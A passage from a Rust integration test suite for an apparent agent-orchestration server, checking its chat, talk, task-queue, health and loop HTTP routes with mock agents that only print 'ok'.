5191        assert_eq!(rows[0]["id"], "20260902-000000-bbbb", "newest first");
5192        assert_eq!(
5193            rows[0]["title"], "20260902-000000-bbbb",
5194            "falls back to the id"
5195        );
5196        assert_eq!(rows[1]["id"], "20260901-000000-aaaa");
5197        assert_eq!(rows[1]["title"], "Rework the config loader");
5198        assert_eq!(rows[1]["seats"], 2);
5199        assert_eq!(rows[1]["proposals"], 1);
5200    }
5201
5202    #[tokio::test]
5203    async fn posting_a_chat_with_an_unknown_from_names_the_id_in_a_4xx() {
5204        let f = Fixture::start().await;
5205        let res = f
5206            .post(
5207                "/api/chats",
5208                Some(r#"{"idea":"same idea, another repo","from":"nosuchchat"}"#),
5209            )
5210            .await;
5211        assert!(res.status >= 400 && res.status < 500, "{}", res.status);
5212        assert!(
5213            res.json()["error"]
5214                .as_str()
5215                .is_some_and(|e| e.contains("nosuchchat")),
5216            "the error names the id that does not exist: {}",
5217            res.body
5218        );
5219        assert!(
5220            f.chats().list().is_empty(),
5221            "a chat must not be created against an unresolvable `from`"
5222        );
5223    }
5224
5225    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
5226    /// string, declared straight in a repository's own `magi.toml` rather
5227    /// than the operator's real roster. No real agent CLI is spawned - `sh`
5228    /// is the interpreter, the same as `chat::tests::mock_agent` uses - so
5229    /// this is safe to run over a real HTTP round trip, unlike every other
5230    /// `POST /api/chats` test in this module.
5231    ///
5232    /// `[roles] planner` is pinned here too, and not left to the built-in
5233    /// "first runnable agent" fallback: an operator's own machine layer can
5234    /// (and, on at least one real machine this was written and tested on,
5235    /// does) already pin a `planner` naming a roster seat this file does not
5236    /// have. `roles.planner` is a scalar, so restating it in this
5237    /// higher-precedence repo layer is not the array conflict
5238    /// `config::array_keys` refuses - it is exactly the override the layering
5239    /// exists for, and it is what keeps this test's outcome independent of
5240    /// whatever the machine layer happens to say.
5241    const MOCK_AGENT_TOML: &str = "[roles]\nplanner = \"mock\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
5242
5243    /// As [`MOCK_AGENT_TOML`], but the mock agent takes a fraction of a second
5244    /// to answer - long enough that a test can observe `thinking: true` and a
5245    /// racing `say` mid-turn instead of the turn always having already landed
5246    /// by the time the assertion runs.
5247    const SLOW_MOCK_AGENT_TOML: &str = "[roles]\nplanner = \"mock\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
5248
5249    #[tokio::test]
5250    async fn a_posted_chat_takes_the_given_repo_and_otherwise_keeps_the_servers_own() {
5251        let tmp = TempDir::new().expect("tempdir");
5252        let repo = tmp.path().join("repo");
5253        let other = tmp.path().join("other");
5254        std::fs::create_dir_all(&repo).expect("repo dir");
5255        std::fs::create_dir_all(&other).expect("other repo dir");
5256        // Both need their own roster: `chat_post` re-discovers config against
5257        // whichever repo the request names, and a repo with no `magi.toml` of
5258        // its own would fall back to the operator's real, installed agent CLIs.
5259        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5260        std::fs::write(other.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5261
5262        let f = Fixture::with_repo(repo.clone()).await;
5263
5264        let default_res = f
5265            .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
5266            .await;
5267        assert_eq!(default_res.status, 202, "{}", default_res.body);
5268        assert_eq!(
5269            default_res.json()["repo"],
5270            repo.canonicalize().unwrap().display().to_string(),
5271            "omitting `repo` must keep the server's own"
5272        );
5273
5274        let body = format!(
5275            r#"{{"idea":"rework the config loader","repo":{:?}}}"#,
5276            other.to_string_lossy()
5277        );
5278        let explicit_res = f.post("/api/chats", Some(&body)).await;
5279        assert_eq!(explicit_res.status, 202, "{}", explicit_res.body);
5280        assert_eq!(
5281            explicit_res.json()["repo"],
5282            other.canonicalize().unwrap().display().to_string(),
5283            "an explicit `repo` must override the server's own"
5284        );
5285    }
5286
5287    #[tokio::test]
5288    async fn posting_a_chat_against_a_repo_with_a_broken_config_is_a_4xx_and_creates_no_chat() {
5289        let tmp = TempDir::new().expect("tempdir");
5290        let repo = tmp.path().join("repo");
5291        std::fs::create_dir_all(&repo).expect("repo dir");
5292        // Invalid TOML, not merely an unusual roster - `Config::discover` must
5293        // fail outright, before `chat::open` is ever reached.
5294        std::fs::write(repo.join("magi.toml"), "this is not valid toml [[[")
5295            .expect("write magi.toml");
5296
5297        let f = Fixture::with_repo(repo).await;
5298        let res = f
5299            .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
5300            .await;
5301        assert!(res.status >= 400 && res.status < 500, "{}", res.body);
5302        assert!(
5303            f.chats().list().is_empty(),
5304            "a repo whose config will not load must not leave a chat file behind"
5305        );
5306    }
5307
5308    #[tokio::test]
5309    async fn posting_a_chat_with_no_runnable_agent_is_a_4xx_and_creates_no_chat() {
5310        let tmp = TempDir::new().expect("tempdir");
5311        let repo = tmp.path().join("repo");
5312        std::fs::create_dir_all(&repo).expect("repo dir");
5313        // Valid TOML, but `roles.planner` names a seat this roster does not
5314        // have: `Config::discover` succeeds and `plan::pick` is what refuses.
5315        std::fs::write(
5316            repo.join("magi.toml"),
5317            "[roles]\nplanner = \"nobody\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"printf ok\"]\n",
5318        )
5319        .expect("write magi.toml");
5320
5321        let f = Fixture::with_repo(repo).await;
5322        let res = f
5323            .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
5324            .await;
5325        assert!(res.status >= 400 && res.status < 500, "{}", res.body);
5326        assert!(
5327            res.json()["error"]
5328                .as_str()
5329                .is_some_and(|e| e.contains("nobody")),
5330            "the error names the agent that could not be picked: {}",
5331            res.body
5332        );
5333        assert!(
5334            f.chats().list().is_empty(),
5335            "a repo with no runnable interviewing agent must not leave a chat file behind"
5336        );
5337    }
5338
5339    #[tokio::test]
5340    async fn a_posted_chats_first_turn_reads_as_thinking_until_it_lands() {
5341        let tmp = TempDir::new().expect("tempdir");
5342        let repo = tmp.path().join("repo");
5343        std::fs::create_dir_all(&repo).expect("repo dir");
5344        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write magi.toml");
5345        let f = Fixture::with_repo(repo).await;
5346
5347        let posted = f
5348            .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
5349            .await;
5350        assert_eq!(posted.status, 202, "{}", posted.body);
5351        let body = posted.json();
5352        assert_eq!(
5353            body["thinking"], true,
5354            "the first turn is running in the background the instant this answers: {body}"
5355        );
5356        assert_eq!(
5357            body["turns"].as_array().map(Vec::len),
5358            Some(1),
5359            "only the operator's idea is on disk yet: {body}"
5360        );
5361        let id = body["id"].as_str().expect("id").to_owned();
5362
5363        // The list carries the same flag, so the operator sees which
5364        // conversation is busy without opening it.
5365        let listed = f.get("/api/chats").await.json();
5366        let row = listed
5367            .as_array()
5368            .expect("array")
5369            .iter()
5370            .find(|c| c["id"] == id)
5371            .unwrap_or_else(|| panic!("{id} in {listed}"));
5372        assert_eq!(row["thinking"], true, "{listed}");
5373
5374        // The lock the background turn holds refuses a `say` racing it - the
5375        // same 409 a second `say` on an already-busy chat gets.
5376        let raced = f
5377            .post(
5378                &format!("/api/chats/{id}/say"),
5379                Some(r#"{"text":"anything"}"#),
5380            )
5381            .await;
5382        assert_eq!(
5383            raced.status, 409,
5384            "the first turn's guard must still be held: {}",
5385            raced.body
5386        );
5387
5388        let mut turns_after = 1;
5389        let mut thinking_after = true;
5390        for _ in 0..200 {
5391            let detail = f.get(&format!("/api/chats/{id}")).await.json();
5392            turns_after = detail["turns"].as_array().expect("turns array").len();
5393            thinking_after = detail["thinking"].as_bool().expect("thinking is a bool");
5394            if turns_after == 2 && !thinking_after {
5395                break;
5396            }
5397            tokio::time::sleep(Duration::from_millis(10)).await;
5398        }
5399        assert_eq!(turns_after, 2, "the agent's first reply eventually lands");
5400        assert!(!thinking_after, "the guard is released once the turn ends");
5401    }
5402
5403    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
5404    /// real `Config::discover` to find an agent - `talk::begin` resolves one
5405    /// even though it takes no turn, and `talk_say` invokes one.
5406    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
5407        let tmp = TempDir::new().expect("tempdir");
5408        let repo = tmp.path().join("repo");
5409        std::fs::create_dir_all(&repo).expect("repo dir");
5410        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5411        let f = Fixture::with_repo(repo.clone()).await;
5412        (tmp, repo, f)
5413    }
5414
5415    #[tokio::test]
5416    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
5417        let (_tmp, _repo, f) = talk_fixture().await;
5418
5419        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
5420        // is the ordinary way a phone opens a talk.
5421        let opened = f.post("/api/talks", None).await;
5422        assert_eq!(opened.status, 201, "{}", opened.body);
5423        let body = opened.json();
5424        assert_eq!(body["status"], "open");
5425        assert_eq!(
5426            body["turns"].as_array().unwrap().len(),
5427            0,
5428            "opening takes no agent turn: there is nothing yet to answer"
5429        );
5430
5431        // An explicit empty object is the same request as none at all.
5432        let also_opened = f.post("/api/talks", Some("{}")).await;
5433        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
5434
5435        let listed = f.get("/api/talks").await.json();
5436        assert_eq!(listed.as_array().unwrap().len(), 2);
5437    }
5438
5439    #[tokio::test]
5440    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
5441        let f = Fixture::start().await;
5442        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
5443        let queue = f.queue();
5444        let mut mine = Task::new(
5445            "rename the loader".to_owned(),
5446            "rename the loader".to_owned(),
5447            PathBuf::from("/repo/magi"),
5448            Source::Agent {
5449                run: talk_id.clone(),
5450                node: "chat".to_owned(),
5451            },
5452        );
5453        queue.put(&mut mine).expect("file the task");
5454        let mut theirs = Task::new(
5455            "unrelated".to_owned(),
5456            "unrelated".to_owned(),
5457            PathBuf::from("/repo/magi"),
5458            Source::Human,
5459        );
5460        queue.put(&mut theirs).expect("file the task");
5461
5462        let res = f.get(&format!("/api/talks/{talk_id}")).await;
5463        assert_eq!(res.status, 200, "{}", res.body);
5464        let body = res.json();
5465        assert_eq!(
5466            body["status"], "open",
5467            "filing a task does not close a talk"
5468        );
5469        let tasks = body["tasks"].as_array().expect("tasks array");
5470        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
5471        assert_eq!(tasks[0]["id"], mine.id);
5472    }
5473
5474    #[tokio::test]
5475    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
5476        let (_tmp, _repo, f) = talk_fixture().await;
5477        let id = f.post("/api/talks", None).await.json()["id"]
5478            .as_str()
5479            .expect("id")
5480            .to_owned();
5481
5482        let res = f
5483            .post(
5484                &format!("/api/talks/{id}/say"),
5485                Some(r#"{"text":"what does the queue module do?"}"#),
5486            )
5487            .await;
5488        assert_eq!(res.status, 202, "{}", res.body);
5489        let queued = res.json();
5490        let turns = queued["turns"].as_array().expect("turns array");
5491        assert_eq!(
5492            turns.len(),
5493            1,
5494            "the answer reflects only what is on disk the instant it is sent, \
5495             before the agent's turn - which can run for `talk::TURN_TIMEOUT` \
5496             - has a chance to land: {queued}"
5497        );
5498        assert_eq!(turns[0]["who"], "operator");
5499        assert_eq!(turns[0]["body"], "what does the queue module do?");
5500
5501        let mut turns_after = 1;
5502        for _ in 0..200 {
5503            let detail = f.get(&format!("/api/talks/{id}")).await.json();
5504            turns_after = detail["turns"].as_array().expect("turns array").len();
5505            if turns_after == 2 {
5506                break;
5507            }
5508            tokio::time::sleep(Duration::from_millis(10)).await;
5509        }
5510        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
5511    }
5512
5513    #[tokio::test]
5514    async fn talk_close_makes_the_talk_refuse_further_turns() {
5515        let f = Fixture::start().await;
5516        let id = seed_talk(&f, "20260904-014455-cd34", "open");
5517
5518        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5519        assert_eq!(closed.status, 200, "{}", closed.body);
5520        assert_eq!(closed.json()["status"], "closed");
5521
5522        // Idempotent: closing an already-closed talk is not an error.
5523        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
5524        assert_eq!(closed_again.status, 200);
5525        assert_eq!(closed_again.json()["status"], "closed");
5526    }
5527
5528    #[tokio::test]
5529    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
5530        let (_tmp, _repo, f) = talk_fixture().await;
5531        let id = f.post("/api/talks", None).await.json()["id"]
5532            .as_str()
5533            .expect("id")
5534            .to_owned();
5535        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5536        assert_eq!(closed.status, 200, "{}", closed.body);
5537
5538        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
5539        assert_eq!(reopened.status, 200, "{}", reopened.body);
5540        assert_eq!(reopened.json()["status"], "open");
5541
5542        // Idempotent: reopening an already-open talk is not an error.
5543        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
5544        assert_eq!(reopened_again.status, 200);
5545        assert_eq!(reopened_again.json()["status"], "open");
5546
5547        let said = f
5548            .post(
5549                &format!("/api/talks/{id}/say"),
5550                Some(r#"{"text":"still there?"}"#),
5551            )
5552            .await;
5553        assert_eq!(
5554            said.status, 202,
5555            "a reopened talk accepts turns again: {}",
5556            said.body
5557        );
5558    }
5559
5560    #[tokio::test]
5561    async fn talk_reopen_on_an_unknown_id_is_404() {
5562        let f = Fixture::start().await;
5563        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
5564        assert_eq!(res.status, 404, "{}", res.body);
5565    }
5566
5567    #[tokio::test]
5568    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
5569        let f = Fixture::start().await;
5570        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
5571
5572        let deleted = f.delete(&format!("/api/talks/{id}")).await;
5573        assert_eq!(deleted.status, 204, "{}", deleted.body);
5574
5575        let after = f.get(&format!("/api/talks/{id}")).await;
5576        assert_eq!(after.status, 404, "{}", after.body);
5577
5578        let listed = f.get("/api/talks").await.json();
5579        assert!(
5580            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
5581            "a deleted talk must not linger in the list: {listed}"
5582        );
5583    }
5584
5585    #[tokio::test]
5586    async fn talk_delete_on_an_unknown_id_is_404() {
5587        let f = Fixture::start().await;
5588        let res = f.delete("/api/talks/nonexistent-id").await;
5589        assert_eq!(res.status, 404, "{}", res.body);
5590    }
5591
5592    #[tokio::test]
5593    async fn talks_never_appear_in_the_planning_chat_list() {
5594        let (_tmp, _repo, f) = talk_fixture().await;
5595
5596        let opened = f.post("/api/talks", None).await;
5597        assert_eq!(opened.status, 201, "{}", opened.body);
5598
5599        let chats = f.get("/api/chats").await.json();
5600        assert!(
5601            chats.as_array().unwrap().is_empty(),
5602            "a talk must never surface as a planning chat: {chats}"
5603        );
5604        let talks = f.get("/api/talks").await.json();
5605        assert_eq!(talks.as_array().unwrap().len(), 1);
5606    }
5607
5608    #[tokio::test]
5609    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
5610        let f = Fixture::start().await;
5611        let queue = f.queue();
5612        let mut task = Task::new(
5613            "spent".to_owned(),
5614            "Try again".to_owned(),
5615            PathBuf::from("/repo/magi"),
5616            Source::Human,
5617        );
5618        task.start("20260902-140502-bbbb".to_owned());
5619        task.fail("agent gave up", 9);
5620        queue.put(&mut task).expect("file the task");
5621
5622        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
5623        assert_eq!(held.status, 200);
5624        assert_eq!(held.json()["status_str"], "held");
5625
5626        let released = f
5627            .post(&format!("/api/queue/{}/release", task.id), None)
5628            .await;
5629        assert_eq!(released.status, 200);
5630        assert_eq!(released.json()["status_str"], "queued");
5631        assert_eq!(
5632            released.json()["attempts"],
5633            0,
5634            "release is a real second chance, not an instant re-hold"
5635        );
5636        assert_eq!(
5637            queue.get(&task.id).expect("reload").status,
5638            TaskStatus::Queued,
5639            "the change is on disk, not only in the reply"
5640        );
5641        assert!(
5642            !f.home
5643                .path()
5644                .join("queue")
5645                .join(format!("{}.lock", task.id))
5646                .exists(),
5647            "the claim the mutation took is released again"
5648        );
5649    }
5650
5651    #[tokio::test]
5652    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
5653        let f = Fixture::start().await;
5654        let queue = f.queue();
5655        let mut task = Task::new(
5656            "busy".to_owned(),
5657            "Running right now".to_owned(),
5658            PathBuf::from("/repo/magi"),
5659            Source::Human,
5660        );
5661        queue.put(&mut task).expect("file the task");
5662        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
5663
5664        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
5665
5666        assert_eq!(res.status, 409);
5667        assert_eq!(
5668            queue.get(&task.id).expect("reload").status,
5669            TaskStatus::Queued,
5670            "the refused hold changed nothing"
5671        );
5672    }
5673
5674    #[tokio::test]
5675    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
5676        let f = Fixture::start().await;
5677        let queue = f.queue();
5678        let mut task = Task::new(
5679            "waiting on the migration".to_owned(),
5680            "Do the thing".to_owned(),
5681            PathBuf::from("/repo/magi"),
5682            Source::Human,
5683        );
5684        queue.put(&mut task).expect("file the task");
5685
5686        let held = f
5687            .post(
5688                &format!("/api/queue/{}/hold", task.id),
5689                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
5690            )
5691            .await;
5692        assert_eq!(held.status, 200, "{}", held.body);
5693        assert_eq!(held.json()["status_str"], "held");
5694        assert_eq!(
5695            held.json()["hold_reason"],
5696            "waiting for 20260101-000000-aaaa to land"
5697        );
5698
5699        let listed = f.get("/api/queue").await.json();
5700        assert_eq!(
5701            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
5702            "the card reads the reason off the same list route"
5703        );
5704
5705        // A hold with no body at all must keep working - most holds have no
5706        // reason to give.
5707        let mut plain = Task::new(
5708            "no reason given".to_owned(),
5709            "Do another thing".to_owned(),
5710            PathBuf::from("/repo/magi"),
5711            Source::Human,
5712        );
5713        queue.put(&mut plain).expect("file the task");
5714        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
5715        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
5716        assert!(held_plain.json()["hold_reason"].is_null());
5717
5718        let released = f
5719            .post(&format!("/api/queue/{}/release", task.id), None)
5720            .await;
5721        assert_eq!(released.status, 200);
5722        assert!(
5723            released.json()["hold_reason"].is_null(),
5724            "a release must clear the reason so the next hold does not inherit it"
5725        );
5726    }
5727
5728    #[tokio::test]
5729    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
5730        let f = Fixture::start().await;
5731        let queue = f.queue();
5732        let mut older = Task::new(
5733            "filed first".to_owned(),
5734            "x".to_owned(),
5735            PathBuf::from("/repo/magi"),
5736            Source::Human,
5737        );
5738        older.id = "20260101-000001-aaaa".to_owned();
5739        let mut newer = Task::new(
5740            "filed second".to_owned(),
5741            "x".to_owned(),
5742            PathBuf::from("/repo/magi"),
5743            Source::Human,
5744        );
5745        newer.id = "20260101-000002-bbbb".to_owned();
5746        queue.put(&mut older).expect("file older");
5747        queue.put(&mut newer).expect("file newer");
5748
5749        // Equal priority: the newer task leads, the same order the old
5750        // newest-first `list()` already gave every equal-priority queue.
5751        let before = f.get("/api/queue").await.json();
5752        assert_eq!(before[0]["id"], newer.id);
5753        assert_eq!(before[1]["id"], older.id);
5754
5755        // Raising the *older* task is the meaningful case: it can only lead
5756        // now because its priority says so, not because it happens to be
5757        // newest.
5758        let raised = f
5759            .post(
5760                &format!("/api/queue/{}/priority", older.id),
5761                Some(r#"{"priority":10}"#),
5762            )
5763            .await;
5764        assert_eq!(raised.status, 200, "{}", raised.body);
5765        assert_eq!(raised.json()["priority"], 10);
5766
5767        let after = f.get("/api/queue").await.json();
5768        let names: Vec<&str> = after
5769            .as_array()
5770            .unwrap()
5771            .iter()
5772            .map(|t| t["id"].as_str().unwrap())
5773            .collect();
5774        // Highest priority first, which is the order next_runnable and
5775        // `magi task list` both use - GET /api/queue must agree with it
5776        // immediately, not just once the loop claims the task.
5777        assert_eq!(names[0], older.id, "the raised task now sorts first");
5778    }
5779
5780    #[tokio::test]
5781    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
5782        let f = Fixture::start().await;
5783        let queue = f.queue();
5784        let mut task = Task::new(
5785            "in flight".to_owned(),
5786            "x".to_owned(),
5787            PathBuf::from("/repo/magi"),
5788            Source::Human,
5789        );
5790        task.start("20260902-140502-bbbb".to_owned());
5791        queue.put(&mut task).expect("file the task");
5792
5793        let res = f
5794            .post(
5795                &format!("/api/queue/{}/priority", task.id),
5796                Some(r#"{"priority":9}"#),
5797            )
5798            .await;
5799        assert_eq!(res.status, 400, "{}", res.body);
5800        assert!(
5801            res.json()["error"]
5802                .as_str()
5803                .is_some_and(|e| e.contains("running")),
5804            "{}",
5805            res.body
5806        );
5807        assert_eq!(
5808            queue.get(&task.id).expect("reload").priority,
5809            0,
5810            "the refused write must not partially apply"
5811        );
5812    }
5813
5814    #[tokio::test]
5815    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
5816        let f = Fixture::start().await;
5817        let queue = f.queue();
5818        let mut task = Task::new(
5819            "old title".to_owned(),
5820            "old instruction".to_owned(),
5821            PathBuf::from("/repo/magi"),
5822            Source::Agent {
5823                run: "20260101-000000-beef".to_owned(),
5824                node: "implement".to_owned(),
5825            },
5826        );
5827        task.runs.push("20260101-000000-beef".to_owned());
5828        queue.put(&mut task).expect("file the task");
5829        let created_at = task.created_at;
5830
5831        let edited = f
5832            .post(
5833                &format!("/api/queue/{}/edit", task.id),
5834                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
5835            )
5836            .await;
5837        assert_eq!(edited.status, 200, "{}", edited.body);
5838        let body = edited.json();
5839        assert_eq!(body["title"], "new title");
5840        assert_eq!(body["instruction"], "new instruction");
5841        assert_eq!(body["id"], task.id, "editing must not mint a new id");
5842        assert_eq!(body["created_at"], created_at.to_string());
5843        assert_eq!(
5844            body["source"]["kind"], "agent",
5845            "editing a task an agent filed must not turn it human: {body}"
5846        );
5847        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
5848
5849        let reloaded = queue.get(&task.id).expect("reload");
5850        assert_eq!(reloaded.title, "new title");
5851        assert_eq!(reloaded.instruction, "new instruction");
5852    }
5853
5854    #[tokio::test]
5855    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
5856        let f = Fixture::start().await;
5857        let queue = f.queue();
5858        let mut task = Task::new(
5859            "in flight".to_owned(),
5860            "do not touch".to_owned(),
5861            PathBuf::from("/repo/magi"),
5862            Source::Human,
5863        );
5864        task.start("20260902-140502-bbbb".to_owned());
5865        queue.put(&mut task).expect("file the task");
5866
5867        let res = f
5868            .post(
5869                &format!("/api/queue/{}/edit", task.id),
5870                Some(r#"{"title":"x","instruction":"y"}"#),
5871            )
5872            .await;
5873        assert_eq!(res.status, 400, "{}", res.body);
5874        assert!(
5875            res.json()["error"]
5876                .as_str()
5877                .is_some_and(|e| e.contains("running")),
5878            "{}",
5879            res.body
5880        );
5881        assert_eq!(
5882            queue.get(&task.id).expect("reload").instruction,
5883            "do not touch",
5884            "the refused edit must not change the file"
5885        );
5886    }
5887
5888    #[tokio::test]
5889    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
5890        let f = Fixture::start().await;
5891        let queue = f.queue();
5892        let mut task = Task::new(
5893            "busy".to_owned(),
5894            "Running right now".to_owned(),
5895            PathBuf::from("/repo/magi"),
5896            Source::Human,
5897        );
5898        queue.put(&mut task).expect("file the task");
5899        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
5900
5901        let priority = f
5902            .post(
5903                &format!("/api/queue/{}/priority", task.id),
5904                Some(r#"{"priority":9}"#),
5905            )
5906            .await;
5907        assert_eq!(priority.status, 409, "{}", priority.body);
5908
5909        let edit = f
5910            .post(
5911                &format!("/api/queue/{}/edit", task.id),
5912                Some(r#"{"title":"x","instruction":"y"}"#),
5913            )
5914            .await;
5915        assert_eq!(edit.status, 409, "{}", edit.body);
5916    }
5917
5918    #[tokio::test]
5919    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
5920        let f = Fixture::start().await;
5921        let queue = f.queue();
5922        let mut task = Task::new(
5923            "shipped by hand".to_owned(),
5924            "merged outside the loop".to_owned(),
5925            PathBuf::from("/repo/magi"),
5926            Source::Agent {
5927                run: "20260101-000000-b455".to_owned(),
5928                node: "implement".to_owned(),
5929            },
5930        );
5931        task.runs.push("20260101-000000-b455".to_owned());
5932        task.runs.push("20260101-000000-9af4".to_owned());
5933        queue.put(&mut task).expect("file the task");
5934        let created_at = task.created_at;
5935
5936        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
5937        assert_eq!(done.status, 200, "{}", done.body);
5938        assert_eq!(done.json()["status_str"], "done");
5939
5940        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
5941        assert_eq!(
5942            reloaded.runs,
5943            ["20260101-000000-b455", "20260101-000000-9af4"]
5944        );
5945        assert_eq!(
5946            reloaded.source,
5947            Source::Agent {
5948                run: "20260101-000000-b455".to_owned(),
5949                node: "implement".to_owned(),
5950            }
5951        );
5952        assert_eq!(reloaded.created_at, created_at);
5953    }
5954
5955    #[tokio::test]
5956    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
5957        // `done` is allowed on any status, including `held`, with no release
5958        // in between - so a task held for a reason and then closed directly
5959        // must not keep reading as "waiting on" it afterwards, on its card or
5960        // in `magi task show`.
5961        let f = Fixture::start().await;
5962        let queue = f.queue();
5963        let mut task = Task::new(
5964            "landed while held".to_owned(),
5965            "x".to_owned(),
5966            PathBuf::from("/repo/magi"),
5967            Source::Human,
5968        );
5969        task.hold(Some("waiting on 3ed9".to_owned()));
5970        queue.put(&mut task).expect("file the held task");
5971
5972        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
5973        assert_eq!(done.status, 200, "{}", done.body);
5974        assert_eq!(done.json()["status_str"], "done");
5975        assert!(
5976            done.json()["hold_reason"].is_null(),
5977            "a done task cannot still be waiting on something: {}",
5978            done.body
5979        );
5980    }
5981
5982    #[tokio::test]
5983    async fn unknown_ids_are_json_not_found_on_both_stores() {
5984        let f = Fixture::start().await;
5985
5986        let run = f.get("/api/runs/nosuchrun").await;
5987        let task = f.post("/api/queue/nosuchtask/hold", None).await;
5988
5989        assert_eq!(run.status, 404);
5990        assert_eq!(task.status, 404);
5991        assert!(
5992            run.json()["error"]
5993                .as_str()
5994                .is_some_and(|e| e.contains("run")),
5995            "the error names what was not found: {}",
5996            run.body
5997        );
5998        assert!(
5999            task.json()["error"]
6000                .as_str()
6001                .is_some_and(|e| e.contains("task")),
6002            "the error names what was not found: {}",
6003            task.body
6004        );
6005    }
6006
6007    #[tokio::test]
6008    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
6009        let f = Fixture::start().await;
6010
6011        let missing = f.get("/api/health").await.json();
6012        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
6013
6014        write_daemon(
6015            f.home.path(),
6016            Timestamp::now() - jiff::SignedDuration::from_secs(60),
6017        );
6018        let stale = f.get("/api/health").await.json();
6019        assert_eq!(
6020            stale["daemon"]["running"], false,
6021            "a minute without a heartbeat is a dead daemon, not a busy one"
6022        );
6023        assert!(
6024            stale["daemon"]["stale_for_secs"]
6025                .as_i64()
6026                .is_some_and(|s| s >= 55),
6027            "staleness is reported so the UI can say how long: {stale}"
6028        );
6029
6030        write_daemon(f.home.path(), Timestamp::now());
6031        let fresh = f.get("/api/health").await.json();
6032        assert_eq!(fresh["daemon"]["running"], true);
6033        assert_eq!(fresh["daemon"]["idle"], false);
6034        assert_eq!(fresh["daemon"]["pid"], 4242);
6035        assert_eq!(fresh["daemon"]["completed"], 7);
6036        assert_eq!(
6037            fresh["daemon"]["current"][0]["task"],
6038            "20260902-140501-aaaa"
6039        );
6040        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
6041    }
6042
6043    #[tokio::test]
6044    async fn the_loop_is_not_running_until_something_starts_it() {
6045        let f = Fixture::start().await;
6046
6047        let view = f.get("/api/loop").await.json();
6048        assert_eq!(view["running"], false);
6049        assert_eq!(
6050            view["owned"], false,
6051            "nobody owns a loop that does not exist: {view}"
6052        );
6053        assert_eq!(view["stopping"], false);
6054        assert_eq!(view["last_error"], Value::Null);
6055        assert_eq!(view["daemon"]["running"], false);
6056        assert_eq!(
6057            view["repo"], "/repo/magi",
6058            "the repository a start would use, named before it is started"
6059        );
6060    }
6061
6062    #[tokio::test]
6063    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
6064        let f = Fixture::start().await;
6065
6066        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6067        assert_eq!(res.status, 200, "{}", res.body);
6068        let view = res.json();
6069        assert_eq!(view["running"], true);
6070        assert_eq!(
6071            view["owned"], true,
6072            "the loop the UI started is the UI's own to stop: {view}"
6073        );
6074        assert_eq!(
6075            view["merge"],
6076            Value::Null,
6077            "no override was given, so each repository's own config decides"
6078        );
6079
6080        // The same object from the route a waking phone polls first. Two
6081        // surfaces disagreeing about whether anything is running is exactly
6082        // the confusion this UI exists to remove.
6083        let health = f.get("/api/health").await.json();
6084        assert_eq!(health["loop"]["running"], true, "{health}");
